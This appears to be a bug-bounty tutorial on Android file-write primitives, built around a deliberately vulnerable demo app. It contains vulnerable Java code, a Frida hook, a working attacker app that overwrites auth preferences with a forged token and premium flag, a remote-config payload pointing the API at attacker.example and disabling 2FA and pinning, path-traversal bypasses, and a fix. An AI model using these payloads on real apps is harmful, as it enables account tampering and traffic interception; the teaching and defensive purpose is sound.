The file write primitive is an inverse of the file read primitive. Instead of getting bytes out of the target app’s private storage, you get bytes in. It is rarer than the read primitive but when present is usually higher impact, because writing the right file overwrites session state, auth tokens, or feature-flag preferences that the app trusts.
Vulnerable demo: VulnLabApp. File: android/app/src/main/java/com/vulnlab/app/activities/FileWriteActivity.java.
The pattern
Apps that take an intent extra and use it as a file path in an output operation. The pattern is harder to spot than the read primitive because the developer rarely “passes a file path as an extra” intentionally — they almost always pass a content URI, a relative file name, or a feature toggle that decides which file to write. The bug is in the lack of validation of where the resulting write ends up.
VulnLabApp’s FileWriteActivity ships all three shapes — raw filename, type-switched destination with attacker payload, and URI-to-path copy with traversal:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// Pattern 1 — output path is intent-controlled
if (intent.hasExtra("filename") && intent.hasExtra("content")) {
String filename = intent.getStringExtra("filename");
String content = intent.getStringExtra("content");
File outFile = new File(getFilesDir(), filename);
try (FileOutputStream fos = new FileOutputStream(outFile)) {
fos.write(content.getBytes());
}
return;
}
// Pattern 2 — output is decided by a switch but content is attacker-controlled
if (intent.hasExtra("type") && intent.hasExtra("payload")) {
String type = intent.getStringExtra("type");
byte[] payload = intent.getByteArrayExtra("payload");
File outFile;
switch (type != null ? type : "") {
case "avatar": outFile = new File(getFilesDir(), "avatar.dat"); break;
case "session": outFile = new File(getFilesDir(), "session.json"); break;
case "config": outFile = new File(getFilesDir(), "remote_config.json"); break;
default: return;
}
try (FileOutputStream fos = new FileOutputStream(outFile)) {
fos.write(payload);
}
return;
}
// Pattern 3 — URI copy with path traversal
if (intent.hasExtra("src_uri") && intent.hasExtra("out_path")) {
Uri srcUri = intent.getParcelableExtra("src_uri");
String outPath = intent.getStringExtra("out_path");
byte[] data = getContentResolver().openInputStream(srcUri).readAllBytes();
File outFile = new File(getFilesDir(), outPath);
try (FileOutputStream fos = new FileOutputStream(outFile)) {
fos.write(data);
}
}
Pattern 1 has a path-traversal angle — if filename is ../shared_prefs/auth_prefs.xml, you just rewrote the auth state. Pattern 2 looks safe because the file paths are fixed strings, but the content of those files is attacker-supplied. If session.json is read by the app on next launch and trusted as state, you can rewrite who the user is. Pattern 3 is the most permissive — both the source URI and the destination path are attacker-controlled, and there is no canonicalization between new File(getFilesDir(), outPath) and the write call.
Identifying the call sites
Grep the decompile for write-flavoured calls near intent reads:
1
2
3
4
5
new FileOutputStream(...)
new BufferedWriter(...)
Files.write(..., ..., ...)
Files.copy(...)
context.openFileOutput(...)
For each, walk backwards. Where do the path and the content originate? If either traces back to getIntent().getStringExtra / getByteArrayExtra / getData() without validation, you have a candidate.
Runtime confirmation — hook FileOutputStream’s constructor and watch what the app writes during your attack:
1
2
3
4
5
6
7
8
9
10
11
Java.perform(function () {
const FOS = Java.use('java.io.FileOutputStream');
FOS.$init.overload('java.io.File').implementation = function (f) {
console.log('[FileOutputStream] ' + f.getAbsolutePath());
return this.$init(f);
};
FOS.$init.overload('java.lang.String').implementation = function (p) {
console.log('[FileOutputStream] ' + p);
return this.$init(p);
};
});
Fire the exported activity with a junk filename extra. The trace tells you the final resolved file path.
Attacker app — pattern 1 path traversal
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// The target app writes to getFilesDir() + filename. Path traversal
// takes us back to the shared_prefs dir, then we overwrite auth_prefs.xml
// with attacker-supplied XML. On next app launch the app reads
// shared_prefs/auth_prefs.xml and trusts whatever we just wrote.
Intent i = new Intent();
i.setClassName("com.vulnlab.app",
"com.vulnlab.app.activities.FileWriteActivity");
i.putExtra("filename", "../shared_prefs/auth_prefs.xml");
i.putExtra("content",
"<?xml version='1.0' encoding='utf-8'?>" +
"<map>" +
" <string name=\"session_token\">attacker-controlled-token</string>" +
" <string name=\"user_email\">[email protected]</string>" +
" <boolean name=\"premium\" value=\"true\" />" +
"</map>");
i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(i);
}
}
After firing this, the next time the user opens the target app, it reads shared_prefs/auth_prefs.xml as part of its bootstrap and trusts the values inside — including the attacker-supplied session token and the premium=true flag.
The session token replacement is interesting in two ways. If the app sends the token to the server on next API call, the server may reject it as forged — depends on whether the token is signed server-side. If the app does not send tokens but stores entitlements locally (“premium subscription unlocked”), the attacker just toggled premium without paying.
The remote-config overwrite escalation
Many apps fetch a remote config JSON from the server, cache it to getFilesDir()/remote_config.json, and read from the cache on next launch. The cached file contains feature flags, base URLs, debug overrides, and sometimes RSA public keys for signed updates.
If the file write primitive lets you overwrite remote_config.json:
1
2
3
4
5
6
{
"api_base_url": "https://attacker.example/api",
"debug_mode": true,
"force_certificate": "<attacker-cert-base64>",
"feature_flags": { "skip_2fa": true, "skip_pinning": true }
}
The app now points its API calls at your server. You MITM every request the app makes after the next launch. This is the highest-impact form of the primitive because you have moved from local state injection to full traffic redirection.
The bounty triage typically lands this at critical with a “remote-code-execution-equivalent” framing — you control where the app fetches its updates from, so you control what code runs on next launch.
The SQLCipher key replacement angle
Apps that use SQLCipher store the database key somewhere — usually shared_prefs/, sometimes a flat file in getFilesDir(). The file write primitive can overwrite that key file. On next launch the app opens the DB with the new key and fails (or, if the app catches the open exception and re-initialises the DB, it wipes the user’s local data).
For data exfiltration, this is a follow-up to the file read primitive: overwrite the encrypted DB with one you generated using a known key, restart the app, the app reads “your” data thinking it is the user’s.
This is a more involved escalation and less common in practice, but worth flagging.
Path traversal pitfalls
Modern Android filesystems normalize .. in many places. new File(getFilesDir(), "../shared_prefs/auth.xml") may or may not work depending on the SDK level and the specific call path. Try the literal .. first. If it does not work, try URL-encoded forms (%2e%2e/), null bytes (auth.xml\0../), or path symlinks if the app’s data dir has any.
For the Files.copy pattern, the Paths.get parser is more permissive — .. segments and absolute paths typically resolve as expected.
The fallback is content URIs:
1
i.putExtra("filename", "/data/data/com.vulnlab.app/shared_prefs/auth_prefs.xml");
If the developer concatenated getFilesDir() with the input, the absolute path likely just got concatenated on top — getFilesDir() + "/data/..." is a non-existent path. But if the developer used new File(parent, child) and child is an absolute path, Java’s File constructor uses the absolute path and ignores the parent. Worth a try either way.
The detection guidance for defenders
The fix is canonicalize-and-verify:
1
2
3
4
5
File parent = new File(getFilesDir(), "some_subdir");
File target = new File(parent, intent.getStringExtra("filename")).getCanonicalFile();
if (!target.getPath().startsWith(parent.getCanonicalPath())) {
throw new SecurityException("path escape");
}
You will see this pattern in well-defended apps. The absence of it on a write call sourced from intent extras is the bug signal.
Closing
The file write primitive is the under-discussed sibling of the file read primitive. Static analysers do not catch it well because the write target is often computed rather than directly supplied. The chain is the same shape — exported activity reads an extra, extra ends up in a sink — but the impact ladder is different. Read primitive gets you “see private data”. Write primitive gets you “rewrite the app’s beliefs about its own state”. The second one is usually a higher-tier bounty.
Happy Hacking !!